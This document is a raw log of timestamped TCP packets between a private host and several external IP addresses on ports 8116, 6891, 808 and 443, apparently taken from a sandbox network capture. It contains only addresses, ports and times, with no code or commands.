Oct 28, 2021 05:03:59.529645920 CEST	8116	49769	185.56.219.47	192.168.2.3
Oct 28, 2021 05:03:59.530000925 CEST	8116	49769	185.56.219.47	192.168.2.3
Oct 28, 2021 05:03:59.703227997 CEST	8116	49769	185.56.219.47	192.168.2.3
Oct 28, 2021 05:03:59.703249931 CEST	8116	49769	185.56.219.47	192.168.2.3
Oct 28, 2021 05:03:59.703432083 CEST	49769	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:03:59.703491926 CEST	49769	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:03:59.710973978 CEST	49769	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:03:59.762923956 CEST	8116	49769	185.56.219.47	192.168.2.3
Oct 28, 2021 05:03:59.769376993 CEST	6891	49768	45.77.0.96	192.168.2.3
Oct 28, 2021 05:03:59.769398928 CEST	6891	49768	45.77.0.96	192.168.2.3
Oct 28, 2021 05:03:59.769561052 CEST	49768	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:03:59.769588947 CEST	49768	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:03:59.772394896 CEST	49768	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:03:59.834347963 CEST	49770	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:03:59.834391117 CEST	443	49770	192.46.210.220	192.168.2.3
Oct 28, 2021 05:03:59.834505081 CEST	49770	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:03:59.835216999 CEST	49770	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:03:59.835230112 CEST	443	49770	192.46.210.220	192.168.2.3
Oct 28, 2021 05:03:59.883774996 CEST	49771	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:03:59.937207937 CEST	8116	49771	185.56.219.47	192.168.2.3
Oct 28, 2021 05:03:59.937386036 CEST	49771	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:03:59.937541962 CEST	6891	49768	45.77.0.96	192.168.2.3
Oct 28, 2021 05:03:59.938577890 CEST	49771	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:03:59.991738081 CEST	8116	49771	185.56.219.47	192.168.2.3
Oct 28, 2021 05:03:59.992079020 CEST	8116	49771	185.56.219.47	192.168.2.3
Oct 28, 2021 05:03:59.992202044 CEST	49771	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:03:59.992712021 CEST	49771	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:03:59.996273994 CEST	49771	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:03:59.996393919 CEST	49771	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:04:00.049510956 CEST	8116	49771	185.56.219.47	192.168.2.3
Oct 28, 2021 05:04:00.050179005 CEST	8116	49771	185.56.219.47	192.168.2.3
Oct 28, 2021 05:04:00.252522945 CEST	8116	49771	185.56.219.47	192.168.2.3
Oct 28, 2021 05:04:00.252547026 CEST	8116	49771	185.56.219.47	192.168.2.3
Oct 28, 2021 05:04:00.252734900 CEST	49771	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:04:00.252793074 CEST	49771	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:04:00.258313894 CEST	49771	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:04:00.311539888 CEST	8116	49771	185.56.219.47	192.168.2.3
Oct 28, 2021 05:04:00.335582972 CEST	443	49770	192.46.210.220	192.168.2.3
Oct 28, 2021 05:04:00.335803032 CEST	49770	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:04:00.336771965 CEST	49770	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:04:00.336781979 CEST	443	49770	192.46.210.220	192.168.2.3
Oct 28, 2021 05:04:00.346606016 CEST	49770	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:04:00.346616983 CEST	443	49770	192.46.210.220	192.168.2.3
Oct 28, 2021 05:04:00.346833944 CEST	49770	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:04:00.346846104 CEST	443	49770	192.46.210.220	192.168.2.3
Oct 28, 2021 05:04:00.384279966 CEST	49772	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:04:00.384330988 CEST	443	49772	192.46.210.220	192.168.2.3
Oct 28, 2021 05:04:00.384474039 CEST	49772	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:04:00.385241032 CEST	49772	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:04:00.385258913 CEST	443	49772	192.46.210.220	192.168.2.3
Oct 28, 2021 05:04:00.879219055 CEST	443	49772	192.46.210.220	192.168.2.3
Oct 28, 2021 05:04:00.879359961 CEST	49772	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:04:00.880167007 CEST	49772	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:04:00.880181074 CEST	443	49772	192.46.210.220	192.168.2.3
Oct 28, 2021 05:04:00.886357069 CEST	49772	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:04:00.886389971 CEST	443	49772	192.46.210.220	192.168.2.3
Oct 28, 2021 05:04:00.886499882 CEST	49772	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:04:00.886517048 CEST	443	49772	192.46.210.220	192.168.2.3
Oct 28, 2021 05:04:01.042292118 CEST	443	49770	192.46.210.220	192.168.2.3
Oct 28, 2021 05:04:01.042360067 CEST	443	49770	192.46.210.220	192.168.2.3
Oct 28, 2021 05:04:01.042380095 CEST	49770	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:04:01.042414904 CEST	49770	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:04:01.049690962 CEST	49770	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:04:01.049715042 CEST	443	49770	192.46.210.220	192.168.2.3
Oct 28, 2021 05:04:01.194441080 CEST	49773	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:04:01.354072094 CEST	808	49773	143.244.140.214	192.168.2.3
Oct 28, 2021 05:04:01.354231119 CEST	49773	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:04:01.354810953 CEST	49773	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:04:01.514291048 CEST	808	49773	143.244.140.214	192.168.2.3
Oct 28, 2021 05:04:01.514393091 CEST	808	49773	143.244.140.214	192.168.2.3
Oct 28, 2021 05:04:01.514570951 CEST	49773	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:04:01.515170097 CEST	49773	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:04:01.520802021 CEST	49773	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:04:01.520944118 CEST	49773	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:04:01.577156067 CEST	443	49772	192.46.210.220	192.168.2.3
Oct 28, 2021 05:04:01.577239037 CEST	443	49772	192.46.210.220	192.168.2.3
Oct 28, 2021 05:04:01.577389956 CEST	49772	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:04:01.580914021 CEST	49772	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:04:01.580960035 CEST	443	49772	192.46.210.220	192.168.2.3
Oct 28, 2021 05:04:01.674618959 CEST	808	49773	143.244.140.214	192.168.2.3
Oct 28, 2021 05:04:01.680344105 CEST	808	49773	143.244.140.214	192.168.2.3
Oct 28, 2021 05:04:01.680365086 CEST	808	49773	143.244.140.214	192.168.2.3
Oct 28, 2021 05:04:01.680427074 CEST	808	49773	143.244.140.214	192.168.2.3
Oct 28, 2021 05:04:01.730022907 CEST	49774	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:04:01.893245935 CEST	808	49774	143.244.140.214	192.168.2.3
Oct 28, 2021 05:04:01.893385887 CEST	49774	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:04:01.894115925 CEST	49774	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:04:02.057135105 CEST	808	49774	143.244.140.214	192.168.2.3
Oct 28, 2021 05:04:02.057207108 CEST	808	49774	143.244.140.214	192.168.2.3
Oct 28, 2021 05:04:02.057379007 CEST	49774	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:04:02.058213949 CEST	49774	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:04:02.063173056 CEST	49774	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:04:02.063281059 CEST	49774	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:04:02.068761110 CEST	808	49773	143.244.140.214	192.168.2.3
Oct 28, 2021 05:04:02.068788052 CEST	808	49773	143.244.140.214	192.168.2.3
Oct 28, 2021 05:04:02.068979979 CEST	49773	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:04:02.069039106 CEST	49773	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:04:02.076674938 CEST	49773	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:04:02.197345018 CEST	49775	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:04:02.221235991 CEST	808	49774	143.244.140.214	192.168.2.3
Oct 28, 2021 05:04:02.226269960 CEST	808	49774	143.244.140.214	192.168.2.3
Oct 28, 2021 05:04:02.226362944 CEST	808	49774	143.244.140.214	192.168.2.3
Oct 28, 2021 05:04:02.226382971 CEST	808	49774	143.244.140.214	192.168.2.3
Oct 28, 2021 05:04:02.236277103 CEST	808	49773	143.244.140.214	192.168.2.3
Oct 28, 2021 05:04:02.362919092 CEST	6891	49775	45.77.0.96	192.168.2.3
Oct 28, 2021 05:04:02.363166094 CEST	49775	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:04:02.363770008 CEST	49775	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:04:02.529150009 CEST	6891	49775	45.77.0.96	192.168.2.3
Oct 28, 2021 05:04:02.529186964 CEST	6891	49775	45.77.0.96	192.168.2.3
Oct 28, 2021 05:04:02.529293060 CEST	49775	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:04:02.529865026 CEST	49775	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:04:02.535173893 CEST	49775	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:04:02.535286903 CEST	49775	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:04:02.606842995 CEST	808	49774	143.244.140.214	192.168.2.3
Oct 28, 2021 05:04:02.606879950 CEST	808	49774	143.244.140.214	192.168.2.3
Oct 28, 2021 05:04:02.607110977 CEST	49774	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:04:02.615365982 CEST	49774	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:04:02.700653076 CEST	6891	49775	45.77.0.96	192.168.2.3
Oct 28, 2021 05:04:02.700807095 CEST	6891	49775	45.77.0.96	192.168.2.3
Oct 28, 2021 05:04:02.759638071 CEST	49776	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:04:02.778479099 CEST	808	49774	143.244.140.214	192.168.2.3
Oct 28, 2021 05:04:02.925049067 CEST	6891	49776	45.77.0.96	192.168.2.3
Oct 28, 2021 05:04:02.925229073 CEST	49776	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:04:02.925931931 CEST	49776	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:04:03.091140032 CEST	6891	49776	45.77.0.96	192.168.2.3
Oct 28, 2021 05:04:03.091196060 CEST	6891	49776	45.77.0.96	192.168.2.3
Oct 28, 2021 05:04:03.091387987 CEST	49776	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:04:03.094037056 CEST	6891	49775	45.77.0.96	192.168.2.3
Oct 28, 2021 05:04:03.094068050 CEST	6891	49775	45.77.0.96	192.168.2.3
Oct 28, 2021 05:04:03.094168901 CEST	49775	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:04:03.094213009 CEST	49775	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:04:03.233712912 CEST	49776	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:04:03.287374020 CEST	49775	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:04:03.290056944 CEST	49776	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:04:03.290146112 CEST	49776	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:04:03.411933899 CEST	49777	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:04:03.438678026 CEST	6891	49776	45.77.0.96	192.168.2.3
Oct 28, 2021 05:04:03.452946901 CEST	6891	49775	45.77.0.96	192.168.2.3
Oct 28, 2021 05:04:03.455363035 CEST	6891	49776	45.77.0.96	192.168.2.3
Oct 28, 2021 05:04:03.455414057 CEST	6891	49776	45.77.0.96	192.168.2.3
Oct 28, 2021 05:04:03.455451965 CEST	6891	49776	45.77.0.96	192.168.2.3
Oct 28, 2021 05:04:03.455490112 CEST	6891	49776	45.77.0.96	192.168.2.3
Oct 28, 2021 05:04:03.459415913 CEST	8116	49777	185.56.219.47	192.168.2.3
Oct 28, 2021 05:04:03.459526062 CEST	49777	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:04:03.461365938 CEST	49777	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:04:03.508538961 CEST	8116	49777	185.56.219.47	192.168.2.3
Oct 28, 2021 05:04:03.508991003 CEST	8116	49777	185.56.219.47	192.168.2.3
Oct 28, 2021 05:04:03.509073019 CEST	49777	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:04:03.512032986 CEST	49777	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:04:03.515916109 CEST	49777	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:04:03.516036987 CEST	49777	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:04:03.563416958 CEST	8116	49777	185.56.219.47	192.168.2.3
Oct 28, 2021 05:04:03.563980103 CEST	8116	49777	185.56.219.47	192.168.2.3
Oct 28, 2021 05:04:03.740350008 CEST	8116	49777	185.56.219.47	192.168.2.3
Oct 28, 2021 05:04:03.740401983 CEST	8116	49777	185.56.219.47	192.168.2.3
Oct 28, 2021 05:04:03.740530014 CEST	49777	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:04:03.740583897 CEST	49777	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:04:03.745723009 CEST	49777	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:04:03.793201923 CEST	8116	49777	185.56.219.47	192.168.2.3
Oct 28, 2021 05:04:03.860125065 CEST	6891	49776	45.77.0.96	192.168.2.3
Oct 28, 2021 05:04:03.860176086 CEST	6891	49776	45.77.0.96	192.168.2.3
Oct 28, 2021 05:04:03.860317945 CEST	49776	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:04:03.860363960 CEST	49776	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:04:03.864424944 CEST	49776	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:04:03.875252008 CEST	49778	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:04:03.875288963 CEST	443	49778	192.46.210.220	192.168.2.3
Oct 28, 2021 05:04:03.875382900 CEST	49778	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:04:03.876272917 CEST	49778	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:04:03.876288891 CEST	443	49778	192.46.210.220	192.168.2.3
Oct 28, 2021 05:04:03.983589888 CEST	49779	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:04:04.030051947 CEST	6891	49776	45.77.0.96	192.168.2.3
Oct 28, 2021 05:04:04.037565947 CEST	8116	49779	185.56.219.47	192.168.2.3
Oct 28, 2021 05:04:04.037748098 CEST	49779	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:04:04.373145103 CEST	443	49778	192.46.210.220	192.168.2.3
Oct 28, 2021 05:04:04.373738050 CEST	49778	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:04:04.404421091 CEST	49779	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:04:04.404545069 CEST	49778	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:04:04.404561043 CEST	443	49778	192.46.210.220	192.168.2.3
Oct 28, 2021 05:04:04.429819107 CEST	49778	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:04:04.429836988 CEST	443	49778	192.46.210.220	192.168.2.3
Oct 28, 2021 05:04:04.430032969 CEST	49778	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:04:04.430042982 CEST	443	49778	192.46.210.220	192.168.2.3
Oct 28, 2021 05:04:04.458359003 CEST	8116	49779	185.56.219.47	192.168.2.3
Oct 28, 2021 05:04:04.458718061 CEST	8116	49779	185.56.219.47	192.168.2.3
Oct 28, 2021 05:04:04.458806038 CEST	49779	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:04:04.460058928 CEST	49779	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:04:04.463510036 CEST	49779	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:04:04.463598013 CEST	49779	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:04:04.517412901 CEST	8116	49779	185.56.219.47	192.168.2.3
Oct 28, 2021 05:04:04.517918110 CEST	8116	49779	185.56.219.47	192.168.2.3
Oct 28, 2021 05:04:04.695847034 CEST	8116	49779	185.56.219.47	192.168.2.3
Oct 28, 2021 05:04:04.695887089 CEST	8116	49779	185.56.219.47	192.168.2.3
Oct 28, 2021 05:04:04.696050882 CEST	49779	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:04:04.696068048 CEST	49779	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:04:04.705971003 CEST	49779	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:04:04.759706974 CEST	8116	49779	185.56.219.47	192.168.2.3
Oct 28, 2021 05:04:04.840173960 CEST	49780	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:04:04.840224981 CEST	443	49780	192.46.210.220	192.168.2.3
Oct 28, 2021 05:04:04.840336084 CEST	49780	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:04:04.841243982 CEST	49780	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:04:04.841272116 CEST	443	49780	192.46.210.220	192.168.2.3
Oct 28, 2021 05:04:05.126264095 CEST	443	49778	192.46.210.220	192.168.2.3
Oct 28, 2021 05:04:05.126346111 CEST	443	49778	192.46.210.220	192.168.2.3
Oct 28, 2021 05:04:05.126516104 CEST	49778	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:04:05.360582113 CEST	443	49780	192.46.210.220	192.168.2.3
Oct 28, 2021 05:04:05.360794067 CEST	49780	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:04:06.032860994 CEST	49778	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:04:06.032902956 CEST	443	49778	192.46.210.220	192.168.2.3
Oct 28, 2021 05:04:06.036227942 CEST	49780	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:04:06.036248922 CEST	443	49780	192.46.210.220	192.168.2.3
Oct 28, 2021 05:04:06.040465117 CEST	49780	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:04:06.040476084 CEST	443	49780	192.46.210.220	192.168.2.3
Oct 28, 2021 05:04:06.040559053 CEST	49780	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:04:06.040565968 CEST	443	49780	192.46.210.220	192.168.2.3
Oct 28, 2021 05:04:06.156260967 CEST	49781	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:04:06.320080996 CEST	808	49781	143.244.140.214	192.168.2.3
Oct 28, 2021 05:04:06.320281982 CEST	49781	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:04:06.322664022 CEST	49781	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:04:06.486327887 CEST	808	49781	143.244.140.214	192.168.2.3
Oct 28, 2021 05:04:06.486531019 CEST	808	49781	143.244.140.214	192.168.2.3
Oct 28, 2021 05:04:06.486663103 CEST	49781	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:04:06.487658024 CEST	49781	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:04:06.492930889 CEST	49781	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:04:06.492966890 CEST	49781	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:04:06.651346922 CEST	808	49781	143.244.140.214	192.168.2.3
Oct 28, 2021 05:04:06.656707048 CEST	808	49781	143.244.140.214	192.168.2.3
Oct 28, 2021 05:04:06.656729937 CEST	808	49781	143.244.140.214	192.168.2.3
Oct 28, 2021 05:04:06.656745911 CEST	808	49781	143.244.140.214	192.168.2.3
Oct 28, 2021 05:04:06.753093004 CEST	443	49780	192.46.210.220	192.168.2.3
Oct 28, 2021 05:04:06.753161907 CEST	443	49780	192.46.210.220	192.168.2.3
Oct 28, 2021 05:04:06.753226995 CEST	49780	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:04:06.753333092 CEST	49780	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:04:06.759155989 CEST	49780	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:04:06.759191036 CEST	443	49780	192.46.210.220	192.168.2.3
Oct 28, 2021 05:04:06.930084944 CEST	49782	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:04:07.037727118 CEST	808	49781	143.244.140.214	192.168.2.3
Oct 28, 2021 05:04:07.037763119 CEST	808	49781	143.244.140.214	192.168.2.3
Oct 28, 2021 05:04:07.037827015 CEST	49781	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:04:07.037873030 CEST	49781	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:04:07.047760963 CEST	49781	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:04:07.102783918 CEST	808	49782	143.244.140.214	192.168.2.3
Oct 28, 2021 05:04:07.102883101 CEST	49782	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:04:07.103909969 CEST	49782	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:04:07.163609982 CEST	49783	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:04:07.211792946 CEST	808	49781	143.244.140.214	192.168.2.3
Oct 28, 2021 05:04:07.279566050 CEST	808	49782	143.244.140.214	192.168.2.3
Oct 28, 2021 05:04:07.280066013 CEST	808	49782	143.244.140.214	192.168.2.3
Oct 28, 2021 05:04:07.280152082 CEST	49782	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:04:07.280592918 CEST	49782	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:04:07.284312010 CEST	49782	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:04:07.284411907 CEST	49782	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:04:07.330404043 CEST	6891	49783	45.77.0.96	192.168.2.3
Oct 28, 2021 05:04:07.330552101 CEST	49783	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:04:07.331813097 CEST	49783	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:04:07.453619957 CEST	808	49782	143.244.140.214	192.168.2.3
Oct 28, 2021 05:04:07.456981897 CEST	808	49782	143.244.140.214	192.168.2.3
Oct 28, 2021 05:04:07.457016945 CEST	808	49782	143.244.140.214	192.168.2.3
Oct 28, 2021 05:04:07.457072020 CEST	808	49782	143.244.140.214	192.168.2.3
Oct 28, 2021 05:04:07.457102060 CEST	808	49782	143.244.140.214	192.168.2.3
Oct 28, 2021 05:04:07.457366943 CEST	808	49782	143.244.140.214	192.168.2.3
Oct 28, 2021 05:04:07.498213053 CEST	6891	49783	45.77.0.96	192.168.2.3
Oct 28, 2021 05:04:07.498245001 CEST	6891	49783	45.77.0.96	192.168.2.3
Oct 28, 2021 05:04:07.498375893 CEST	49783	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:04:07.501224041 CEST	49783	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:04:07.504826069 CEST	49783	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:04:07.504914045 CEST	49783	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:04:07.671255112 CEST	6891	49783	45.77.0.96	192.168.2.3
Oct 28, 2021 05:04:07.671286106 CEST	6891	49783	45.77.0.96	192.168.2.3
Oct 28, 2021 05:04:07.710700989 CEST	6891	49783	45.77.0.96	192.168.2.3
Oct 28, 2021 05:04:07.845093012 CEST	808	49782	143.244.140.214	192.168.2.3
Oct 28, 2021 05:04:07.845112085 CEST	808	49782	143.244.140.214	192.168.2.3
Oct 28, 2021 05:04:07.845216990 CEST	49782	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:04:07.845278025 CEST	49782	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:04:07.848701000 CEST	49782	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:04:07.962543011 CEST	49784	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:04:08.021456957 CEST	808	49782	143.244.140.214	192.168.2.3
Oct 28, 2021 05:04:08.063646078 CEST	6891	49783	45.77.0.96	192.168.2.3
Oct 28, 2021 05:04:08.063663006 CEST	6891	49783	45.77.0.96	192.168.2.3
Oct 28, 2021 05:04:08.063766956 CEST	49783	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:04:08.063829899 CEST	49783	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:04:08.071038961 CEST	49783	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:04:08.127831936 CEST	6891	49784	45.77.0.96	192.168.2.3
Oct 28, 2021 05:04:08.127974987 CEST	49784	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:04:08.128822088 CEST	49784	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:04:08.194739103 CEST	49785	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:04:08.237293959 CEST	6891	49783	45.77.0.96	192.168.2.3
Oct 28, 2021 05:04:08.248269081 CEST	8116	49785	185.56.219.47	192.168.2.3
Oct 28, 2021 05:04:08.248419046 CEST	49785	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:04:08.249033928 CEST	49785	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:04:08.294064045 CEST	6891	49784	45.77.0.96	192.168.2.3
Oct 28, 2021 05:04:08.294156075 CEST	6891	49784	45.77.0.96	192.168.2.3
Oct 28, 2021 05:04:08.294277906 CEST	49784	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:04:08.295053005 CEST	49784	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:04:08.300746918 CEST	49784	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:04:08.300889969 CEST	49784	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:04:08.302105904 CEST	8116	49785	185.56.219.47	192.168.2.3
Oct 28, 2021 05:04:08.302408934 CEST	8116	49785	185.56.219.47	192.168.2.3
Oct 28, 2021 05:04:08.302493095 CEST	49785	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:04:08.303447008 CEST	49785	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:04:08.308969975 CEST	49785	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:04:08.309094906 CEST	49785	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:04:08.362222910 CEST	8116	49785	185.56.219.47	192.168.2.3
Oct 28, 2021 05:04:08.362813950 CEST	8116	49785	185.56.219.47	192.168.2.3
Oct 28, 2021 05:04:08.466418028 CEST	6891	49784	45.77.0.96	192.168.2.3
Oct 28, 2021 05:04:08.502662897 CEST	6891	49784	45.77.0.96	192.168.2.3
Oct 28, 2021 05:04:08.536336899 CEST	8116	49785	185.56.219.47	192.168.2.3
Oct 28, 2021 05:04:08.536360979 CEST	8116	49785	185.56.219.47	192.168.2.3
Oct 28, 2021 05:04:08.536576033 CEST	49785	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:04:08.544295073 CEST	49785	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:04:08.597438097 CEST	8116	49785	185.56.219.47	192.168.2.3
Oct 28, 2021 05:04:08.663294077 CEST	49786	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:04:08.663332939 CEST	443	49786	192.46.210.220	192.168.2.3
Oct 28, 2021 05:04:08.663450956 CEST	49786	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:04:08.664288044 CEST	49786	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:04:08.664299011 CEST	443	49786	192.46.210.220	192.168.2.3
Oct 28, 2021 05:04:08.857034922 CEST	6891	49784	45.77.0.96	192.168.2.3
Oct 28, 2021 05:04:08.857059002 CEST	6891	49784	45.77.0.96	192.168.2.3
Oct 28, 2021 05:04:08.857270956 CEST	49784	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:04:08.860531092 CEST	49784	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:04:08.981270075 CEST	49787	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:04:09.026850939 CEST	6891	49784	45.77.0.96	192.168.2.3
Oct 28, 2021 05:04:09.034805059 CEST	8116	49787	185.56.219.47	192.168.2.3
Oct 28, 2021 05:04:09.034905910 CEST	49787	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:04:09.035598993 CEST	49787	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:04:09.088982105 CEST	8116	49787	185.56.219.47	192.168.2.3
Oct 28, 2021 05:04:09.089238882 CEST	8116	49787	185.56.219.47	192.168.2.3
Oct 28, 2021 05:04:09.089365959 CEST	49787	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:04:09.090018034 CEST	49787	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:04:09.095226049 CEST	49787	8116	192.168.2.3	185.56.219.47
